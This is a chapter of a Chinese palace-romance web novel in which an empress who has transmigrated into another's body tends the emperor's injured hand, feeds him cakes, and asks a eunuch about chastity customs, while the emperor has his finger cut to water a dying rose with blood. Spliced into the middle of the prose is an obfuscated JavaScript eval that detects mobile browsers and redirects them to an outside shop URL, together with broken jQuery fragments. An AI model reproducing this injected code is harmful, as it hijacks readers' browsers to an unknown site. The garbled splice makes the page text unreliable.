江月白刚刚给傅渊包扎好,一扭头就见傅渊正深深望着她。
他单手支额,整个人如玉山巍峨,他眼睑微垂,纤长浓郁的睫毛半遮不住眸底的幽光,他眸光锋利,眼神滚烫灼热,如欲沸奔发的火山一般。
视线相触,江月白只觉得心尖都被烫了一下。
她垂下眼,却仍能感受到他的视线自上而下落在她身上,不容忽视,如影随形。
“陛下,好了。”
她收回手,将剩余的白绫慢慢卷起来。
傅渊看都不看右手,视线仍落在她身上,
方才为了上药的烛灯并未熄灭,蔷薇琉璃罩下的烛火跳跃着,映照在她低垂的眼睫上。
她浓密的睫羽在薄雾下扑簌簌颤动,每一下都似在他心间颤着。
发痒。
傅渊喉咙忽而有些干涩,他压下喉间哑意,用左手推开身侧的朱漆槛窗。
凉风立刻钻进来,极有耐心地将薄雾一点点啃噬。
在愈渐稀薄的雾气里,他轻轻开口:“多谢小白了。”
他的声音随着凉风钻入耳里,竟比风还要柔和,显得极为缱绻。
无端的,江月白小指微微蜷缩了下。
掌下的白绫已经见底,江月白将其搁置在一旁,视线又落到那个玄色瓷瓶上。
她拿起来握在手上细细端详。
这瓷瓶呈葫芦状,浑身光溜溜的,什么花纹都无,也没有药名贴,在一众玉石瓷器中,显得格外突兀。
摸起来也不像别的瓷罐一般触手生温,反而摸起来凉丝丝的,也不知是什么材质。
她拔开塞子,拿起瓷瓶凑近鼻下,一缕清冽的草香味倏然钻入鼻息。
莫名有些熟悉。
似乎在哪里闻过。
她举起瓷瓶,侧身问傅渊:“陛下,这是何物?”
雨后日光如洗,斜穿过槛窗,洒在殿内。
傅渊坐在窗下,玄色里衣将光影尽数吞没,裸露在空中的肌肤却是蒙了层浅浅的金。
他每一个动作,都染着耀目的金光。
他取下蔷薇琉璃罩,搁在桌上,指尖冲着烛火轻轻一拂。
烛光应声熄灭。
这动作又惹得江月白小声惊呼了下。
傅渊低声笑了笑,望过来,黑眸流淌着奇异的光彩:“九转金创粉。”
“送你了。”
送她?
江月白唇瓣微动,刚想说些什么,就见傅渊又道:“小白,我知晓你想说什么。”他顿了顿,鹰隼般的眼眸紧紧盯着她,
“只是,你大约忘记我们的关系了。”
他们的关系……
他是大周的皇,而她是大周的后……
他们是……
夫妻。
可,与他成亲、写过婚书、拜过天地的,却不是她。
这无疑是提醒她,她占了江月白的身子。
见她久久不语,傅渊心中不耐,可触到她骤然低落的神色时,刚要生起的那股烦躁又生生哑了火。
江月白低着脑袋,菱花唇紧紧咬着,握着瓷瓶的手指因为用力变得发白。
傅渊摩挲了下指尖,还是伸手掰开她的指节,将瓷瓶搁在桌上。
而后,他身子俯倾,单手抬起江月白小巧的下颌,与那双失了神采的杏花眸对视。
“小白,你是我的妻,整个大周都是你的,连同我。”
他一字一顿,说出的话掷地有声,
仿佛石子投入池塘,激起阵阵涟漪。
江月白望着他,看着他那张俊美昳丽的脸,即便见过那么多次,可还是那般的惊心动魄。
难怪原身这么喜欢他。
见她神色似有松动,傅渊抬着她下颌的手微动,轻轻剐蹭了蹭她脸颊的软肉。
继续温声哄她:
“小白,你就这般讨厌我吗?以致于跟我沾了点边的东西都不想要。玉珏是这样,御厨也是这样,什么都是这样……”
话音愈来愈低,说到最后,他又露出了她近日极其熟悉的落寞模样。
眉心微蹙,眼睑低垂。
活像是受了委屈的小狗。
“我要!”
江月白本想告诉自己抵抗久一点,可一见到他这张脸,话就不过脑子地脱口而出。
不争气!!
江月白恨恨咬了咬唇,索性自暴自弃起来,“好了好了,什么都是我的,行了吧。”
说着,她右手攥成拳头恨恨往自己大腿捶去。
在触到大腿的前一瞬,手腕倏然被温热的手握住,紧接着变了轨迹,粉拳被带着落在傅渊身上。
傅渊左手执着她的腕,指腹滑动,转而裹着她的粉拳,掌心的温度毫无隔绝地漫上她的肌肤。
他的指节修长如玉,轻而易举地便能将她的手腕全然包裹,带着她往他怀里击打着。
气力是在刹那间丢失的,江月白本就蜷起来的指节忍不住缩得愈紧。
“怎么不打了?”傅渊眉骨微抬。
江月白咬着唇,抬眼盯着他。
他墨发已干,凉风一吹,将他垂散在耳后的长发便在空中飘荡,如绸缎般浮动。
有一缕却又吹落下来,虚虚贴在他的颧弓处,使人视线不自觉地落到他眼下的朱砂泪痣上。
像是林中艳鬼。
呼吸滞了片刻,江月白旋即冷笑。
下一瞬,雨点般的拳头便狠狠砸在傅渊胸口上。
她用力极大,仿佛要将素日深埋在心底的不满、愤恨都砸出来。
穿越以来只会欺负她!道歉只会送礼!招蜂惹蝶害得人家针对她!
每想到一项,手下的力气便加重一分。
她累得气喘吁吁,可傅渊却仿佛没什么痛觉一般,眉头都不皱一下。
甚至,挟制着她的那只手暗暗使了几分力气,帮她加大了击打力度。
也作了肉垫,帮她免了蛮力反弹的痛楚。
直至力竭,江月白才终于喘着香气停歇。
她额头沁出了点薄汗,气息错乱,心中隐存的那点子烦闷也随之消弭。
“不恼了,好不好?”傅渊见她神色松软,摩挲了下手心里的小手。
很轻微的力度,带了点讨好的意味。
又来这套。
江月白不满地在心中嘟囔了几句。
她并未掩饰,还分明瞪了他一眼。可她双颊泛粉,腮如新荔,杏眼弧度圆润微微上翘,愈发显得含羞带怯的。
莫名带了点勾人的意味。
傅渊喉结微动,“明日我有个惊喜给你。”
“当真?”江月白扭头看他,双瞳如浸了秋水般水亮亮的。
傅渊心中愈发柔软:“当真。”
江月白也不是执拗的性子,见好就收,便又眉眼带笑地收拾起药膏,同傅渊一起,一人一个药罐,一一塞回药箱里。
最后,她视线落在八仙桌上只剩下的九转金创粉上。
傅渊此时正看着她,与其说是看,不如说是审视,他单手撑起下颌,眸光正直勾勾地盯着她。
生怕她浑水摸鱼,把九转金创粉也塞进药箱里。
见他不信她。
江月白扯了扯唇角,抓起桌上的九转金创粉,挑衅般地往他眼前递了递,而后,将九转金创粉缓缓塞进自己早已高高举起的袖筒里。
事毕,她眼睫颤动,抬眸望向傅渊。
傅渊很喜欢她这般。
鲜活美丽。
是他乏味晦暗人生里唯一的一抹亮色。
他眸中笑意渐浓,是一个很纵容的笑。
他话音一转:“小白,你来侧殿找我,是有什么事吗?”
江月白想起来自己的初衷,又看了眼天色,便索性命人上了膳食。
等她起身去案几上将糖糕端过来时,宫人们已经悉数退下了。
动作可真麻利。
她暗暗赞叹一番,将糖糕放到傅渊跟前。
“陛下,这是我亲手做的糖糕,请你吃。”
玲珑剔透的糖糕,个个精巧,摆在碧绿的荷叶上,愈发显得雪白软糯,让人食欲大开。
傅渊左手用筷箸夹取,刚刚夹起一块,便又因为糖糕过分滑软滑了下去。
江月白见状,复又坐到傅渊身侧,用自己的筷箸夹起一块糖糕,递到傅渊唇边:“陛下,我来喂你吧。”
傅渊看着突然出现的糖糕,侧目望向她。
似是在思忖什么。
江月白隐约知道他或许有些不好意思,替他找了个台阶下,“不是说我们是夫妻吗?喂你吃块糖糕也不行吗?”
“好。”
傅渊终是低低应了一声,漆黑的眼眸中闪烁着晶莹的流光。
他微微启唇,就着她递过来的筷箸,浅淡的唇瓣覆在雪白的糖糕上。
他鼻息的热气都喷洒在她的指尖,惹得她的指尖止不住地发颤。
江月白睫羽轻轻颤了颤,视线不由自主地飘向傅渊。
他眼睫微垂,看的却是她。
他凝视着她,唇齿稍动,轻轻咬下一口糖糕。
江月白举着筷箸,看着他慢慢吃了,有些紧张地问:“怎么样?”
“甚佳。”傅渊弯了弯唇,启唇又将剩余的糖糕咬下来吃了。
江月白暗暗松了口气。
也不知为何,纵使是第一次做糖糕时,也没有如今这般紧张。
她很快便又想明白了,是她感念着傅渊帮她料理了花,所以才会想送个他喜欢的谢礼。
她又为他夹了一块糖糕,傅渊却摇摇头,“小白,你尝了吗?”
江月白跟着摇摇头。
她一心想着傅渊,刚出锅便端过来想让他尝尝。
“那你也尝尝。”
江月白也夹一块吃了。
荷叶的清香包裹着糯米的甜软一起在口中迸发,吃起来软糯香甜,入口即化。
夏日气温高,纵使耽误了这么久,糖糕仍有余温,吃起来刚刚好。
不过糖好像放得有点多,有些偏甜了。
她想着,捡着自己喜欢的菜肴,自己一口,就喂傅渊一口。
傅渊今日胃口大开
二人将饭菜吃了个大半,江月白才揉着圆滚滚的小腹走出侧殿。
恰好碰见沈久。
她回身看了看紧闭的殿门,拉着沈久走到角落,她四下张望了下,见宫人各司其职,没人注意到这边,方才小声开口:
“沈公公,看了……陛下沐浴时,从来都不许人服侍吗?”
她其实还是有些疑虑,男子被人看了身子死后就要下地狱,怎么思忖都像是傅渊哄她负责的。
沈久虽不明所以,还是点点头,也跟着压低声音回:“回娘娘,陛下不喜人伺候,若无意外,什么都是自己做的。”
“不过今后不同,有娘娘在,陛下也有人心疼了……”
见沈久往别的地方想,江月白又换了个说法:“沈久,我听说大周有个传统,及冠后的公子们必须要恪守贞洁,这是真的吗?”
她特意模糊了年龄,还点出了贞洁二字。
这样既能问到答案,也不让沈久知晓她已经看了傅渊的身子。
江月白心中浅笑,感觉自己的脑袋是愈来愈灵光了。
沈久面上的微笑却是彻底没了。
娘娘在大周认识的男子有限,而这之中,刚及弱冠的公子,也只有陈清元陈御史一人。
作为傅渊的亲侍,他自然能看出陛下是将一整颗真心都给了娘娘。
他曾不止一次地见到陛下拿着一个黑荷包咬牙切齿,面色阴沉如水,格外骇人。
每一次他都以为陛下或是丢了黑荷包,或是命宫人甚至是找娘娘缝制荷包,可却什么都没发生。
第一次见是在娘娘出宫那日。
陛下四更天才归,素日一尘不染的衣衫,多了好几处褶皱,还沾了几片绿叶。
他还来不及献上餐食,陛下就把自己关在了殿中,命人勿扰。
天边晕开淡青色时,才出来。
殿内摆着三十三支连城首饰,陛下命他再挑些东西送往凤栖宫。
这一送就是七日。
他虽不知究竟发生了什么,可结合着徒弟常福传来的讯息,他大约也是能猜着个八九分。
娘娘出宫遇见了陈御史,相谈甚欢,甚至……
他不敢,也不想往下想去。
本来见这几日陛下娘娘关系大有进展,郎情妾意。是以,他今日才会在陛下沐浴时,放娘娘进殿。
孤男寡女,共处寝殿。
若是时机得当,小殿下都能有了。
他都准备好告假去月老庙前还愿了。
可谁知,偏又遇到了这么一遭。
听娘娘的意思,她跟陈御史竟已到贞洁这一步了吗?
可这样的话,陛下怎么办?
陛下已经二十有五了,连伺候的宫人都无女子,平日要么是阴恻恻地笑,要么是冷冰冰摆着脸,直到遇到娘娘后,陛下才开发出了其它表情。
与之对比的,是陈御史温雅端方的模样,听常福说陈御史还是京中所有女儿家的梦中人呢。
唉!!
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17801297|208077||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
沈久在心中长叹了一声,而后望向江月白身后的侧殿,暗暗下定了决心:陛下放心,我定不会让您孤独终老。
陛下同娘娘的爱情,由他来守护。
思虑这么多,也不过一瞬的功夫。
沈久堆起笑,同江月白道:“娘娘,守贞这事,只在夫妇之间。大周民风开放,若无婚约,便没有此等顾忌,否则因此生出祸事,难道还要责怪受害者吗?”
这倒是解了她的困惑。
沈久话音一转:“不过大周律法严苛,夫妇之间,必要忠诚,若有人背着一方另寻他欢,不仅罚银数百、影响仕途,而且如若另一方杀之,也无罪。”
“这么严重?”
“当然了,若是求得另一方谅解,便万事大吉了。陛下向来不假辞色,从未对女子有所怜惜,娘娘便不用担心了。”
江月白得到了答案,又见沈久越说越偏,随便糊弄过去,便回了主殿。
……
见江月白走远了,沈久方才转身,进了侧殿。
一进殿就见傅渊仍旧坐在八仙桌旁,他单手支额,被包扎得五花八门的右手搁在桌上的糖糕一侧。
和煦的日光懒散地斜扫下来,洒落着他周身,玄衣上仿佛滚了层柔软的金。
他的视线飘落在桌上,日光明耀,沈久分不清他看得到底是糖糕还是右手,亦或是两者都有。
只能看见他唇角带着似有若无的一点笑意。
这是陛下心情极好时的表现。
看来陛下娘娘进展飞速,沈久按捺住心潮起伏,提醒道:“陛下,花匠已候多时了。”
“嗯。”傅渊声音被日光熏染得懒洋洋的。
他起身,玄衣上的金波随之流动,垂蓄下来。
傅渊盯着晶莹若雪的糖糕,指腹摩挲了下荷叶边,克制地移开视线。
又单手端起糖糕,施施然往里殿走去。
动作间竟显得有些小心翼翼。
殿内静默了片刻,而后响起匣子开合关落的声音,过了一瞬,就见陛下从里殿出来,手中的糖糕不见了,取而代之的是一盆奄奄一息的蔷薇。
“沈久,带他进来。”
“是。”
……
“这盆蔷薇,大约是经历过一场暴雪,又被人碾踩过,后经悉心照料,才勉强缠绵于今,但仍旧无比孱弱,命悬一线,一着不慎便回天乏术。”
花匠小心诊断一番后,得出结论。
傅渊点头,问:“如何救治?”
来的路上,花匠就从常福那里知晓了要救蔷薇的事情,一路上他便在思索救花之法。
他听闻过杜太医的事情,也不敢故作深沉,只拿出早就准备好的答案。
“回陛下,奴才幼时听闻,碧血染奇花,用家禽之血或可一试。”
他以头抢地,无比庆幸幼时喜欢看杂书。
傅渊视线依旧落在蔷薇枝上。
窗外风和景丽,繁花似锦,眼前的这盆蔷薇只剩几支光秃秃交错着的枝干,寥寥几片黯黄的叶子,每一片都浮现出江月白娇美的容颜。
却垂着脑袋,郁郁寡欢。
半晌,傅渊举起缠得结结实实的右手,很轻微地贴在自己脸侧。就仿佛她娇嫩柔软的手覆在面上。
残存的蔷薇香飘进了气息里,融进了骨髓里。
是她的芬芳,她的温度。
只一个念头,他几乎有些控制不住。
他压抑着大口喘息的冲动,只克制地慢慢品嗅着。
沈久送花匠出去后,回来便看见陛下盯着蔷薇花盆若有所思。
他正思索着说些什么,就见陛下举起“伤势惨重”的右腕。
月老庙还愿还是有希望的。
沈久立在一旁,望着殿内洒落的熠熠日光,静静等待陛下情思渐落。
不知过了多久,傅渊终于放下右腕。
他眉头微蹙,视线在左右手间游离几番,最终,他仰起头,望过来。
“沈久,取匕首来。”
沈久心有预感,却还是依言取了匕首,呈到傅渊面前。
可下一瞬他便笑不出来了。
只因他向来从容的陛下,对着他露出了一个餍足的微笑。
“你来。”
“割我的指。”
傅渊轻慢的嗓音是与风声一同落下的。
融融暖风骤然变成隆冬寒风,把沈久逼到了悬崖峭壁。
……
晚间。
江月白陪啾啾玩了一会儿,便早早躺在榻上。
她盯着帐幔上的各色玉石,白日种种又不知不觉流淌在脑中。
当忆及他的身子时,一股燥意忽地从脚底窜起,猛然扑向四肢百骸。
江月白一把扯过锦被盖过头顶,小口小口地偷偷喘息着。
四下寂静,仿佛潮汐般吞没所有声音,只余急促的怦怦声。
长久连绵,似是永不停歇。
……是她的心跳声。
江月白忍不住翻了个身。
下一刻,被子被人拉开,她与阿落对视。
阿落守在殿外,听着殿内不住的翻滚声,便想看看发生了什么事,谁知掀开被子一瞧,公主把自己裹成了一个茧。
雪白的锦缎拢在她颈侧,簇拥着一张艳若桃李的面容。
眉若黛画,眼波潋滟。
细喘点点……
纵是跟了公主这么久,还是会被她的美貌冲击到。
阿落蹲在江月白面前,忍不住放柔了声音:“娘娘,怎么了?”
脸愈发灼烫了,身下的被褥柔软得像是绵密的云。江月白咬着唇,细声细语地找了个借口:“有些热。”
阿落起身推开支摘窗,留了三指宽的缝隙。夜风顺势挤进来,将床幔吹得飘摇起伏。
“娘娘,阿落在外面守着,有什么事喊我。”
江月白点点头。
而后,平躺在榻上,阖上了双目。
院内的声音此刻明晰起来,草木飘摇声、步履声、偶尔的雀鸣声……
在轻微的喧嚣声里,江月白意识渐渐朦胧。坠入梦中。
梦里也是一阵喧嚣声。
似来自遥远的天边,交错杂糅在一起,使人听不明晰。
感知这时涌来,江月白觉得自己像是坐在榻上,眼前蒙了层帕子,隔绝了视线,天地里只剩下一团影绰黑影。
腹内空空,饥渴难耐。
她掀开帕子,视线触在手中帕子时一凝。
火红耀目的大红色,上面绣着并蒂莲花和一对戏水鸳鸯。
这是喜帕!